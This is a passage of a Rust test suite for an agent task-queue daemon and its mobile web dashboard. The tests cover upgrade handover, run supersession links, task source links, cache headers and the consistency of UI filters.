20638 Ok(1)
20639 },
20640 )
20641 .await
20642 .expect("hand over");
20643 told.into_inner().unwrap().expect("successor was started")
20644 }
20645
20646 #[tokio::test]
20647 async fn a_running_loop_is_resumed_by_the_successor() {
20648 let home = TempDir::new().expect("temp home");
20649 let ui = idle_ui(&home);
20650 ui.start_loop(None).expect("start");
20651 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20652 for _ in 0..500 {
20654 if !ui.loop_view(None).running {
20655 break;
20656 }
20657 tokio::time::sleep(Duration::from_millis(2)).await;
20658 }
20659 assert!(handed_over(&home, ui).await, "a running loop must resume");
20660
20661 let successor = idle_ui(&home);
20662 assert!(!successor.loop_view(None).running);
20663 assert!(successor.resume_after_handover(true));
20664 assert!(successor.loop_view(None).running);
20665 successor.stop_loop(None, false).expect("stop");
20666 }
20667
20668 #[tokio::test]
20669 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20670 let home = TempDir::new().expect("temp home");
20671 let ui = idle_ui(&home);
20672 ui.start_loop(None).expect("start");
20673 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20674 .expect("first park");
20675 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20676 .expect("second park");
20677 assert!(handed_over(&home, ui).await);
20678 }
20679
20680 #[tokio::test]
20681 async fn a_stop_during_the_handover_wait_is_honoured() {
20682 let home = TempDir::new().expect("temp home");
20683 let ui = idle_ui(&home);
20684 ui.start_loop(None).expect("start");
20685 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20686 ui.stop_loop(None, false).expect("stop");
20687 assert!(!handed_over(&home, ui).await);
20688 }
20689
20690 #[tokio::test]
20691 async fn an_idle_loop_stays_stopped_across_the_handover() {
20692 let home = TempDir::new().expect("temp home");
20693 let ui = idle_ui(&home);
20694 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20695 assert!(!handed_over(&home, ui).await);
20696
20697 let successor = idle_ui(&home);
20698 assert!(!successor.resume_after_handover(false));
20699 assert!(!successor.loop_view(None).running);
20700 }
20701
20702 #[tokio::test]
20703 async fn a_loop_the_operator_stopped_is_not_resumed() {
20704 let home = TempDir::new().expect("temp home");
20705 let ui = idle_ui(&home);
20706 ui.start_loop(None).expect("start");
20707 ui.stop_loop(None, false).expect("stop");
20708 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20709 assert!(!handed_over(&home, ui).await);
20710 }
20711
20712 #[test]
20713 fn only_an_explicit_one_requests_a_resume() {
20714 assert!(!resume_requested(None));
20715 assert!(!resume_requested(Some("0".into())));
20716 assert!(!resume_requested(Some("".into())));
20717 assert!(resume_requested(Some("1".into())));
20718 }
20719
20720 #[test]
20721 fn the_upgrade_button_arms_before_it_restarts_anything() {
20722 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20725 assert!(APP_JS.contains("Replace the binary and restart?"));
20726 assert!(APP_JS.contains("function confirmed("));
20727 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
20732 assert!(
20736 APP_JS.contains("Parking, then restarting"),
20737 "the button says what it is waiting for"
20738 );
20739 assert!(APP_JS.contains("if (!out.to)"));
20742 }
20743
20744 #[test]
20745 fn stopping_the_loop_arms_but_starting_does_not() {
20746 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20749 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20750 assert!(APP_JS.contains("confirmed(button, question)"));
20751 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20754 assert!(APP_JS.contains("const label = btn.textContent;"));
20755 assert!(!APP_JS.contains("Neither direction is guarded"));
20756 }
20757
20758 #[test]
20759 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20760 assert!(
20761 APP_JS.contains("state.health.version"),
20762 "the operator wants to know what is running even with nothing newer"
20763 );
20764 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20765 }
20766
20767 #[test]
20768 fn the_upgrade_button_names_its_destination() {
20769 assert!(
20770 APP_JS.contains("`Update to ${update.to}`"),
20771 "pressing the button should not be a surprise about what it moves to"
20772 );
20773 }
20774
20775 #[test]
20776 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20777 for stage in ["downloading", "replaced", "parking", "restarting"] {
20778 assert!(
20779 APP_JS.contains(&format!("\"{stage}\"")),
20780 "the phone must be able to tell {stage} apart from the others"
20781 );
20782 }
20783 assert!(APP_JS.contains(".waiting_on"));
20784 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20789 assert!(APP_JS.contains("reconnects on its own"));
20790 }
20791
20792 #[test]
20793 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20794 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20803 ..APP_JS.find("function upgrade(").expect("upgrade")];
20804 assert!(
20805 !body.contains(
20806 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20807 ),
20808 "a failed upgrade must not take the whole strip over the way it used to"
20809 );
20810 assert!(
20811 body.contains("upgradeFailNote"),
20812 "the failure has to reach the loop's own note instead"
20813 );
20814 assert_eq!(
20818 body.matches("upgradeFailNote].filter(Boolean).join")
20819 .count(),
20820 2,
20821 "both loop-why writers (quiet and control) must fold the note in"
20822 );
20823 }
20824
20825 #[test]
20826 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20827 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20830 assert!(APP_JS.contains("function upgradeOverdue("));
20831 }
20832
20833 #[test]
20834 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20835 assert!(
20836 APP_JS.contains("Updated to ${upgradeInfo.to"),
20837 "the operator who asked for the restart wants to know it worked"
20838 );
20839 }
20840
20841 #[test]
20842 fn an_error_is_visible_from_where_the_button_is() {
20843 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20848 ..APP_CSS.find(".alert-text").expect(".alert-text")];
20849 assert!(
20850 alert.contains("position: fixed"),
20851 "an error about the thing under your thumb has to be visible from \
20852 where your thumb is: {alert}"
20853 );
20854 assert!(
20855 alert.contains("z-index: 25"),
20856 "above the dock (20) and the run-actions FAB (15), so neither \
20857 buries it: {alert}"
20858 );
20859 assert!(
20860 alert.contains("var(--tap)"),
20861 "and clear of the dock and the home indicator: {alert}"
20862 );
20863 assert!(
20866 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20867 "the FAB's column stays free: {alert}"
20868 );
20869 }
20870
20871 #[tokio::test]
20872 async fn an_older_attempt_says_what_replaced_it() {
20873 let fx = Fixture::start().await;
20874 let q = fx.queue();
20875 let runs = fx.runs();
20876 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20877 write_run(&runs, first, RunStatus::Stalled);
20878 write_run(&runs, second, RunStatus::Blocked);
20879
20880 let mut t = Task::new(
20881 "one task".to_owned(),
20882 "do it".to_owned(),
20883 PathBuf::from("/repo"),
20884 Source::Human,
20885 );
20886 t.runs = vec![first.to_owned(), second.to_owned()];
20887 q.put(&mut t).expect("put");
20888
20889 let rows = fx.get("/api/runs").await.json();
20893 let by = |short: &str| -> Value {
20894 rows.as_array()
20895 .unwrap()
20896 .iter()
20897 .find(|r| r["short"] == short)
20898 .cloned()
20899 .unwrap_or(Value::Null)
20900 };
20901 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20902 assert!(
20903 by("bbbb")["superseded_by"].is_null(),
20904 "the latest attempt is not superseded by anything"
20905 );
20906 assert!(APP_JS.contains("run.superseded_by"));
20908 assert!(APP_JS.contains("Superseded by"));
20909 }
20910
20911 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20912 let mut t = Task::new(
20913 "one task".to_owned(),
20914 "do it".to_owned(),
20915 PathBuf::from("/repo"),
20916 Source::Human,
20917 );
20918 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20919 t.status = status;
20920 t
20921 }
20922
20923 #[test]
20924 fn source_link_picks_the_page_that_filed_the_task() {
20925 let agent = |node: &str| Source::Agent {
20926 run: "20260904-014455-ab12".to_owned(),
20927 node: node.to_owned(),
20928 };
20929 let chat = source_link(&agent("chat")).expect("chat link");
20930 assert_eq!(chat.kind, "chat");
20931 assert_eq!(chat.id, "20260904-014455-ab12");
20932 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20933 let run = source_link(&agent("implement")).expect("run link");
20934 assert_eq!(
20935 (run.kind, run.href.as_str()),
20936 ("run", "#/runs/20260904-014455-ab12")
20937 );
20938 assert_eq!(source_link(&Source::Human), None);
20939 assert_eq!(
20940 source_link(&Source::Issue {
20941 number: 3,
20942 repo: "o/r".to_owned()
20943 }),
20944 None
20945 );
20946 let odd = source_link(&Source::Agent {
20947 run: "a b/c".to_owned(),
20948 node: "chat".to_owned(),
20949 })
20950 .expect("link");
20951 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20952 }
20953
20954 #[test]
20955 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20956 assert!(
20957 !APP_JS.contains("src.node === \"chat\""),
20958 "inline href rule is back"
20959 );
20960 assert!(
20961 APP_JS.matches("sourceLinkOf(").count() >= 4,
20962 "helper must serve every page"
20963 );
20964 assert!(
20965 APP_JS.matches("openChatLink(").count() >= 3,
20966 "the run page still needs its explicit chat link"
20967 );
20968 assert!(
20969 !APP_JS.contains("const openChat = el("),
20970 "the Queue card duplicates its source label link again"
20971 );
20972 assert!(
20973 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20974 "the task page must link a chat source label too"
20975 );
20976 }
20977
20978 #[test]
20979 fn task_ref_carries_the_source_link_for_a_chat_task() {
20980 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20981 t.source = Source::Agent {
20982 run: "20260904-014455-ab12".to_owned(),
20983 node: "chat".to_owned(),
20984 };
20985 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20986 let v = serde_json::to_value(&out).expect("json");
20987 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20988 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20989 assert_eq!(v["source_label"], t.source.label());
20990
20991 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20992 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20993 .expect("json");
20994 assert!(v["source_link"].is_null(), "{v}");
20995 }
20996
20997 #[test]
20998 fn task_view_serializes_source_link() {
20999 let mut t = Task::new(
21000 "t".to_owned(),
21001 "t".to_owned(),
21002 PathBuf::from("/repo"),
21003 Source::Agent {
21004 run: "20260901-000000-aaaa".to_owned(),
21005 node: "implement".to_owned(),
21006 },
21007 );
21008 t.runs.clear();
21009 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21010 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21011 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21012 }
21013
21014 #[test]
21015 fn task_view_serializes_urgent_flag() {
21016 let mut t = Task::new(
21017 "t".to_owned(),
21018 "t".to_owned(),
21019 PathBuf::from("/repo"),
21020 Source::Human,
21021 );
21022 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21023 assert_eq!(v["urgent"], false, "{v}");
21024 t.urgent = true;
21025 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21026 assert_eq!(v["urgent"], true, "{v}");
21027 assert!(APP_JS.contains("task.urgent === true"));
21028 }
21029
21030 #[tokio::test]
21031 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21032 let fx = Fixture::start().await;
21033 let runs = fx.runs();
21034 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21035 write_run(&runs, old, RunStatus::Blocked);
21036 write_run(&runs, new, RunStatus::Merged);
21037 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21038 fx.queue().put(&mut t).expect("put");
21039
21040 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21041 let task = &view["task"];
21042 assert_eq!(task["status"], "done");
21043 assert_eq!(task["is_latest"], false);
21044 assert_eq!(task["latest"]["short"], "bbbb");
21045 assert_eq!(task["finished_by"]["id"], new);
21046 assert_eq!(task["finished_by"]["outcome"], "merged");
21047 assert_eq!(task["closed_by_hand"], false);
21048 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21049 assert!(APP_JS.contains("finished_by"));
21050 assert!(APP_JS.contains("superseded by run"));
21051 }
21052
21053 #[tokio::test]
21054 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21055 let fx = Fixture::start().await;
21056 let runs = fx.runs();
21057 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21058 write_run(&runs, old, RunStatus::Stalled);
21059 write_run(&runs, new, RunStatus::Blocked);
21060 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21061 fx.queue().put(&mut t).expect("put");
21062
21063 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21064 assert_eq!(task["status"], "held");
21065 assert_eq!(task["is_latest"], true);
21066 assert!(task["latest"].is_null());
21067 assert!(task["finished_by"].is_null());
21068 assert_eq!(task["closed_by_hand"], false);
21069 }
21070
21071 #[tokio::test]
21072 async fn a_direct_run_has_no_task_outcome() {
21073 let fx = Fixture::start().await;
21074 let runs = fx.runs();
21075 let id = "20260901-000000-aaaa";
21076 write_run(&runs, id, RunStatus::Blocked);
21077 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21078 assert!(view["task"].is_null());
21079 }
21080
21081 #[test]
21082 fn task_outcome_does_not_guess_a_finishing_run() {
21083 let a = "20260901-000000-aaaa";
21084 let b = "20260901-000000-bbbb";
21085 let c = "20260901-000000-cccc";
21086 let dir = tempfile::tempdir().expect("tempdir");
21087 write_run(dir.path(), a, RunStatus::Blocked);
21088 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21089 let read = |id: &str| read_run(dir.path(), id).ok();
21091 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21094 let out = task_outcome(&t, a, 3, read);
21095 assert!(out.finished_by.is_none());
21096 assert!(out.closed_by_hand);
21097 let latest = out.latest.expect("latest");
21098 assert_eq!(latest.id, c);
21099 assert_eq!(latest.status, None);
21100 assert_eq!(latest.outcome, "record unreadable");
21101
21102 write_run(dir.path(), c, RunStatus::Ready);
21104 let t = outcome_task(&[a, c], TaskStatus::Done);
21105 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21106 assert_eq!(out.finished_by.expect("finisher").id, c);
21107 assert!(!out.closed_by_hand);
21108
21109 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21111 assert!(task_outcome(&t, a, 3, read).is_latest);
21112 }
21113
21114 #[tokio::test]
21115 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21116 let fx = Fixture::start().await;
21121 let q = fx.queue();
21122 let runs = fx.runs();
21123 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21124 write_run(&runs, first, RunStatus::Blocked);
21125 write_run(&runs, second, RunStatus::Merged);
21126
21127 let mut t = Task::new(
21128 "one task".to_owned(),
21129 "do it".to_owned(),
21130 PathBuf::from("/repo"),
21131 Source::Human,
21132 );
21133 t.runs = vec![first.to_owned(), second.to_owned()];
21134 q.put(&mut t).expect("put");
21135
21136 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21137 assert_eq!(earlier["superseded_by"], "dddd");
21138 assert_eq!(earlier["latest_attempt"]["id"], second);
21139 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21140 assert_eq!(
21141 earlier["latest_attempt"]["resolved"], true,
21142 "the run that replaced it landed, so this one reads as settled"
21143 );
21144
21145 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21146 assert!(
21147 later["superseded_by"].is_null(),
21148 "the latest attempt is not superseded by anything"
21149 );
21150 assert!(
21151 later["latest_attempt"].is_null(),
21152 "the latest attempt has no later attempt of its own"
21153 );
21154
21155 assert!(APP_JS.contains("run.latest_attempt"));
21162 assert!(APP_JS.contains("data-superseded"));
21163 assert!(APP_JS.contains("#/runs/${latest.id}"));
21164 }
21165
21166 #[tokio::test]
21167 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21168 let fx = Fixture::start().await;
21174 let q = fx.queue();
21175 let runs = fx.runs();
21176 let (a, b, c) = (
21177 "20260901-000000-aaaa",
21178 "20260901-000000-bbbb",
21179 "20260901-000000-cccc",
21180 );
21181 write_run(&runs, a, RunStatus::Blocked);
21182 write_run(&runs, b, RunStatus::Blocked);
21183 write_run(&runs, c, RunStatus::Merged);
21184
21185 let mut t = Task::new(
21186 "retried twice".to_owned(),
21187 "do it".to_owned(),
21188 PathBuf::from("/repo"),
21189 Source::Human,
21190 );
21191 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21192 q.put(&mut t).expect("put");
21193
21194 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21195 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21196 assert_eq!(
21197 view["latest_attempt"]["id"], c,
21198 "the chain's current head, not the intermediate Blocked retry"
21199 );
21200 assert_eq!(view["latest_attempt"]["resolved"], true);
21201
21202 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21203 assert_eq!(mid["latest_attempt"]["id"], c);
21204 assert_eq!(mid["latest_attempt"]["resolved"], true);
21205 }
21206
21207 #[tokio::test]
21208 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21209 let fx = Fixture::start().await;
21210 let q = fx.queue();
21211 let runs = fx.runs();
21212
21213 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21216 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21217 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21218 let mut t1 = Task::new(
21219 "still stuck".to_owned(),
21220 "do it".to_owned(),
21221 PathBuf::from("/repo"),
21222 Source::Human,
21223 );
21224 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21225 q.put(&mut t1).expect("put");
21226 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21227 assert_eq!(view1["latest_attempt"]["resolved"], false);
21228 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21229 assert_eq!(view1["latest_attempt"]["done"], true);
21230
21231 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21233 write_run(&runs, run_a, RunStatus::Blocked);
21234 write_run(&runs, run_b, RunStatus::Implementing);
21235 let mut t3 = Task::new(
21236 "retrying".to_owned(),
21237 "do it".to_owned(),
21238 PathBuf::from("/repo"),
21239 Source::Human,
21240 );
21241 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21242 q.put(&mut t3).expect("put");
21243 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21244 assert_eq!(view3["latest_attempt"]["id"], run_b);
21245 assert_eq!(view3["latest_attempt"]["resolved"], false);
21246 assert_eq!(view3["latest_attempt"]["done"], false);
21247
21248 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21253 write_run(&runs, noop_a, RunStatus::Blocked);
21254 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21255 let mut t2 = Task::new(
21256 "claims done".to_owned(),
21257 "do it".to_owned(),
21258 PathBuf::from("/repo"),
21259 Source::Human,
21260 );
21261 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21262 q.put(&mut t2).expect("put");
21263 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21264 assert_eq!(
21265 view2["latest_attempt"]["resolved"], false,
21266 "an unverified no-op claim must not read as a confirmed finish"
21267 );
21268
21269 assert!(APP_JS.contains("latest.resolved"));
21272 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21275 assert!(APP_JS.contains("Latest attempt: "));
21276 assert!(APP_JS.contains("in flight"));
21277 assert!(APP_JS.contains("not resolved"));
21278 }
21279
21280 #[tokio::test]
21281 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21282 let fx = Fixture::start().await;
21283 let js = fx.get("/app.js").await;
21289 assert_eq!(js.status, 200);
21290 let tag = js
21291 .header("etag")
21292 .expect("an etag to revalidate against")
21293 .to_owned();
21294 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21295 assert_eq!(
21296 js.header("cache-control"),
21297 Some("no-cache, must-revalidate"),
21298 "the phone has to ask every time"
21299 );
21300
21301 let again = fx
21304 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21305 .await;
21306 assert_eq!(
21307 again.status, 304,
21308 "a deck it already has costs one round trip"
21309 );
21310 assert!(again.body.is_empty(), "304 carries no body");
21311
21312 let weak = fx
21315 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21316 .await;
21317 assert_eq!(weak.status, 304);
21318 let stale = fx
21319 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21320 .await;
21321 assert_eq!(stale.status, 200, "an older build must be replaced");
21322 assert!(stale.body.contains("renderRunActions"));
21323 }
21324
21325 #[test]
21326 fn the_task_detail_has_an_actions_fab_and_sheet() {
21327 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21328 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21329 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21330 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21332 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21333 assert!(APP_JS.contains("renderTaskActions(task);"));
21335 assert!(APP_JS.contains("renderTaskActions(null);"));
21336 let sheet = APP_JS
21338 .find("function renderTaskActions")
21339 .expect("sheet renderer");
21340 let body = &APP_JS[sheet..sheet + 3000];
21341 assert!(body.contains("changePriority("));
21342 assert!(body.contains("openTaskEdit(task)"));
21343 assert!(body.contains("renderTaskHoldBox(host"));
21344 assert!(body.contains("renderTaskDoneBox(host"));
21345 assert!(body.contains("renderTaskDeleteBox(host"));
21346 assert!(APP_JS.contains("API.priority(id)"));
21347 assert!(APP_JS.contains("API.deleteTask(id)"));
21348 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21350 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21352 }
21353
21354 #[test]
21355 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21356 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21357 let actions = INDEX_HTML
21358 .find("id=\"run-actions-box\"")
21359 .expect("actions box");
21360 assert!(task < actions, "the task entry comes first in the sheet");
21361 assert!(APP_JS.contains("renderRunTaskEntry"));
21362 assert!(APP_JS.contains("\"Open task \""));
21363 assert!(APP_JS.contains("started directly, no task"));
21365 assert!(APP_JS.contains("sheet-task-link"));
21366 assert!(APP_JS.contains("task-chip-link"));
21367 }
21368
21369 #[test]
21370 fn the_deck_never_sends_the_operator_to_a_terminal() {
21371 assert!(
21374 !APP_JS.contains("Run `magi fold` first"),
21375 "the deck must offer the fold, not prescribe a shell command"
21376 );
21377 assert!(APP_JS.contains("foldRun:"));
21378 assert!(APP_JS.contains("resumeRun:"));
21379 assert!(APP_JS.contains("renderRunActions"));
21380
21381 assert!(APP_JS.contains("armedFold"));
21383 assert!(APP_JS.contains("Yes, fold worktrees"));
21384
21385 assert!(APP_JS.contains("can no longer be resumed"));
21388 }
21389
21390 #[test]
21391 fn a_finished_run_explains_itself_with_its_own_last_line() {
21392 assert!(
21398 !APP_JS.contains("collapsed on agent quota"),
21399 "a stall must not be explained by a cause the deck did not check"
21400 );
21401 assert!(
21402 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21403 "and a block must not offer a guess with an `or` in it"
21404 );
21405
21406 assert!(
21410 APP_JS.contains("setText(r.event, run.event || \"\")"),
21411 "the run's last line is rendered unconditionally"
21412 );
21413 assert!(
21414 !APP_JS.contains("moving && run.event"),
21415 "and never gated on the run still moving"
21416 );
21417
21418 assert!(APP_JS.contains("lost to quota"));
21420 }
21421
21422 #[test]
21444 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21445 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21446 let shapes_body_start =
21447 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21448 let shapes_close = APP_JS[shapes_body_start..]
21449 .find("].map(")
21450 .expect("the shape list is closed by its done-computing .map(...)")
21451 + shapes_body_start;
21452 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21453
21454 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21455 for entry in shapes_src.split('{').skip(1) {
21456 let waiting = entry.contains("waiting: true");
21457 let dead = entry.contains("live: \"dead\"");
21458 let status_at =
21459 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21460 let status_end = entry[status_at..]
21461 .find('"')
21462 .expect("the status string is closed")
21463 + status_at;
21464 let parked = entry.contains("display_status: \"parked\"");
21465 shapes.push((
21466 waiting,
21467 entry[status_at..status_end].to_string(),
21468 dead,
21469 parked,
21470 ));
21471 }
21472 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21473
21474 let done_rule_marker = "done: !";
21478 let done_rule_at = APP_JS[shapes_close..]
21479 .find(done_rule_marker)
21480 .expect("the done rule follows the shape list")
21481 + shapes_close
21482 + done_rule_marker.len();
21483 let includes_at = APP_JS[done_rule_at..]
21484 .find(".includes(shape.status)")
21485 .expect("the done rule ends in .includes(shape.status)")
21486 + done_rule_at;
21487 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21488 .trim()
21489 .trim_start_matches('[')
21490 .trim_end_matches(']')
21491 .split(',')
21492 .map(|s| s.trim().trim_matches('"'))
21493 .filter(|s| !s.is_empty())
21494 .collect();
21495
21496 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21497 .into_iter()
21498 .map(|(waiting, status, dead, parked)| {
21499 let done = !not_done.contains(&status.as_str());
21500 (waiting, status, dead, parked, done)
21501 })
21502 .collect();
21503
21504 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21508 if waiting {
21509 return "waiting";
21510 }
21511 if dead
21512 && !parked
21513 && !matches!(
21514 status,
21515 "merged"
21516 | "ready"
21517 | "stalled"
21518 | "blocked"
21519 | "failed"
21520 | "verified_noop"
21521 | "superseded"
21522 | "already_in_base"
21523 )
21524 {
21525 return "stale";
21526 }
21527 match status {
21528 "merged" | "ready" => "landed",
21529 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21530 | "already_in_base" => "ended",
21531 _ => "flight",
21532 }
21533 }
21534
21535 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21538 match filter_key {
21539 "active" => !done,
21540 "flight" => !done && !waiting && !dead,
21541 "stale" => !done && !waiting && dead,
21542 "waiting" => waiting,
21543 "done" => done,
21544 "all" => true,
21545 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21546 }
21547 }
21548
21549 let compatible = |section: &str, filter_key: &str| {
21550 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21551 run_section(*waiting, status, *dead, *parked) == section
21552 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21553 })
21554 };
21555
21556 let expected = [
21561 ("waiting", [true, false, false, true, true, true]),
21562 ("stale", [true, false, true, false, false, true]),
21563 ("flight", [true, true, false, false, false, true]),
21564 ("landed", [false, false, false, false, true, true]),
21565 ("ended", [false, false, false, false, true, true]),
21566 ];
21567 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21568
21569 for (section, wants) in expected {
21570 for (filter_key, want) in filter_keys.iter().zip(wants) {
21571 assert_eq!(
21572 compatible(section, filter_key),
21573 want,
21574 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21575 );
21576 }
21577 }
21578
21579 assert!(
21582 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21583 );
21584 assert!(APP_JS.contains(
21585 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21586 ));
21587 assert!(APP_JS.contains(
21588 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21589 ));
21590 }
21591
21592 #[tokio::test]
21593 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21594 let dir = tempfile::tempdir().expect("tempdir");
21598 let explicit = dir.path().join("not-a-checkout");
21599 std::fs::create_dir_all(&explicit).expect("create dir");
21600 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21601
21602 let missing = dir.path().join("does-not-exist-at-all");
21603 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21604 }
21605
21606 #[test]
21607 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21608 assert!(APP_JS.contains("function statsDonutArcs"));
21609 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21610 assert!(APP_JS.contains("function statusInBucket"));
21612 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21613 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21614 let buckets = [
21615 "merged",
21616 "ready",
21617 "in_progress",
21618 "blocked",
21619 "failed",
21620 "verified_noop",
21621 "superseded",
21622 "stalled",
21623 ];
21624 for key in buckets {
21625 let var = format!("--verdict-{key}:");
21626 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21628 assert!(
21629 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21630 "{key}"
21631 );
21632 }
21633 }
21634}